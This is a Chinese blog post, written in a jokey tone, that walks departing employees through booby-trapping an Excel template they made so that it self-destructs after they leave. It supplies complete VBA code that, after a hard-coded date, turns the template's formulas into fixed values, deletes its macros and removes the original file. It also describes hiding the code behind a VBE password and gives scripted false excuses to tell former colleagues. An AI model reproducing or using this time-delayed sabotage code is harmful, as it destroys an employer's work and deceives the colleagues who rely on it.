HI,大家好,我是星光。 有句俗话说,职场如战场,什么龌龊事都有。有的朋友在公司辛苦打拼,加班加点任劳任怨,工资不涨也就算了,还总是被给小鞋穿;临了辞职,也是遭遇各种小绊子,以至于一口恶气堵在胸口,大半年不愉快,非常影响夜生活质量—— 于是有的朋友就问了,我辞职之前能不能把做的Excel模板删掉?我辛辛苦苦的劳动成果凭啥便宜那群白眼狼? 删模板?当着前公司领导和前同事的面删模板?当然是——不行的!善良如你绝无可能以如此绝决的方式撕破他们的脸;另外,为什么要删呢?给他们留个烂苹果固然很好,但吃苹果最可怕的并不是吃到烂苹果,而是一口下去咬到好几条毛毛虫——所以我隆重向你推荐这个方案: 在离职一个月后,让模板优雅的自动报废。 …… 假设我们有一个模板,叫'摆摊吧!后浪',这是一份你辛苦良久,加班加点,整理业务逻辑、数据逻辑;编写函数,甚至VBA代码蛋生的劳动成果。 步骤1 制作说明表 打开模板工作簿,新建一张工作表,命名为说明表。在醒目位置敲下以下文字: 使用本模板必须启用宏 如有其它说明,可以根据自身需要,放肆补充。 步骤2 保护工作簿结构 将所有工作表隐藏,只保留说明表。 在【审阅】选项卡下,单击【保护工作簿】,保持【结构】复选框选中状态不变,输入保护密码。(金鱼同志,组织让我给你捎句话,这密码你需要记住几秒钟,别输入完转眼就忘却了)。 步骤3 编写定时自宫代码 复制以下代码...▼ '工作簿打开,取消工作表隐藏 Private Sub Workbook_Open() Dim sht As Worksheet On Error Resume Next ThisWorkbook.Unprotect '111111' For Each sht In Worksheets sht.Visible = xlSheetVisible Next ThisWorkbook.Protect '111111', True End Sub
'禁止文件另存为 Private Sub workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean) Dim b As Long If SaveAsUI = True Then b = MsgBox('该工作簿不允许用“另存为”来保存,' & _ '你要用原工作簿名称来保存吗?', vbQuestion vbOKCancel) Cancel = (b = vbCancel) If Cancel = False Then Me.Save Cancel = True End If End Sub
'保护工作簿结构,定时更新代码 Private Sub Workbook_BeforeClose(Cancel As Boolean) Dim sht As Worksheet, dte As Date Dim strname As String, strFullName As String On Error Resume Next With Application .ScreenUpdating = False .DisplayAlerts = False .EnableEvents = False End With dte = VBA.DateSerial(2026, 6, 16) '代码维护更新时间 If dte < Date Then For Each sht In Worksheets sht.UsedRange.Value = sht.UsedRange.Value Next strname = Split(ThisWorkbook.Name, '.xls')(0) Workbooks(strname & '.xlsx').Close True strFullName = ThisWorkbook.FullName ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbook Kill strFullName strFullName = ThisWorkbook.FullName ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname & '临时工', xlOpenXMLWorkbook Workbooks.Open (strFullName) ActiveWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbookMacroEnabled ActiveWorkbook.Close True Kill strFullName With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly Kill .FullName .Close End With Else For Each sht In Worksheets If sht.Name <> '说明表' Then sht.Visible = xlSheetVeryHidden End If Next ThisWorkbook.Protect '111111', True ThisWorkbook.Save End If With Application .ScreenUpdating = True .DisplayAlerts = True .EnableEvents = True End With End Sub 第1至第10行代码是在工作簿打开时,自动取消工作表隐藏并保护工作簿结构,以便模板正常使用。 第13至第22行代码是禁止当前工作簿另存为的行为。 剩下的代码属于第3个事件过程,是核心领导地位。在工作簿保存前,判断当前电脑的日期是否大于2026年6月16日;如果条件成立,则将当前工作簿每张工作表的函数公式转换为数值,将函数公式自杀;同时将工作簿另存为.xlsx格式,将VBA代码自杀;再将该文件夹重命名为原文件名;如果条件不成立,则将除了'说明表'以外的工作表全部隐藏,并重新保护工作簿结构。 代码设置的自宫时间是2026年6月16日,您可以根据实际需要进行调整。
代码设置的工作簿原始保护密码是111111,这个密码必须和你在第2步输入的工作簿保护密码一致,您可以在代码窗口按<Ctrl H>打开查找替换对话框,将111111替换为实际保护密码。 步骤4 设置VBE保护密码 设置VBE保护密码的目的是……多少遮掩一下相关代码,别万一被人家看到了,且看懂了,那就怪不好意思的。 步骤5 更改文件类型
做完这些设置,到达指定时间后,该工作簿就会自动将所有的公式转换为数值,并自动删除所有VBA代码了。 模板报废后,你的前同事有可能会期期艾艾或者凶凶巴巴的联系你…… …… 有装360吗?我当初编写的代码被你们用杀毒软件给杀死了吧?(360经典背锅侠) 确定没有操作错?模板对操作者的Excel水平要求很高的,如果是小白的话,有太多可能出问题了——这个我和你真说不清楚。 备份?没有备份。都离职1个多月了,东西早都扔垃圾桶了,备份文件做什么?就我那工资,备份文件值啥啊?…… 不好意思,我都离职一个多月了,公司的业务逻辑都忘的差不多了,这我真帮不了你。你们当时也说我的工作很简单,做事不花时间,那你们重新做下模板,或者干脆不用模板不就得了? …… |
|